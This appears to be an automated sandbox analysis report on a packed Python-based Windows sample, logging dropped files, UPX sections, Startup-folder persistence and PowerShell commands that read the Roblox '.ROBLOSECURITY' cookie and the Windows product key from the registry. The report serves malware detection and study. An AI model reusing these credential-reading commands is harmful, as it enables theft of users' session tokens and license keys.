Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410652961.00007FF8B9F61000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409933422.00007FF8B8F71000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2408813480.00007FF8B7E01000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: 9g9LZNE4bH.exe, 00000002.00000002.2409638089.00007FF8B8B3C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 9g9LZNE4bH.exe, 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410441345.00007FF8B9841000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409638089.00007FF8B8B3C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.pdbhPV source: powershell.exe, 0000002A.00000002.2242595273.000001C03B705000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2410254689.00007FF8B93C1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409190880.00007FF8B7E51000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2409408125.00007FF8B8AF1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A86AF000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A8731000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.pdb source: powershell.exe, 0000002A.00000002.2242595273.000001C03B705000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2409000197.00007FF8B7E21000.00000040.00000001.01000000.0000000E.sdmp

Source: 9g9LZNE4bH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 9g9LZNE4bH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 9g9LZNE4bH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 9g9LZNE4bH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 9g9LZNE4bH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"

Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x117bde
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x169d3
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x4c48e
Source: 3lfchnc2.dll.43.dr	Static PE information: real checksum: 0x0 should be: 0x318a
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x10b2e
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb515
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1e77b
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9d35e
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x3e84b
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1592c
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xc215
Source: python311.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1ad857
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x20a78
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xa303
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x138cb
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x23fb5
Source: 9g9LZNE4bH.exe	Static PE information: real checksum: 0x6dbf4b should be: 0x6e2df3
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x19f80

Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8474DD2A5 pushad ; iretd	7_2_00007FF8474DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8475F841D push ebx; retn 0009h	7_2_00007FF8475F841A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8475F83D5 push ebx; retn 0009h	7_2_00007FF8475F841A

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Process created: "C:\Users\user\Desktop\9g9LZNE4bH.exe"

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_ssl.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI61762\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA576B0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF78DA576B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
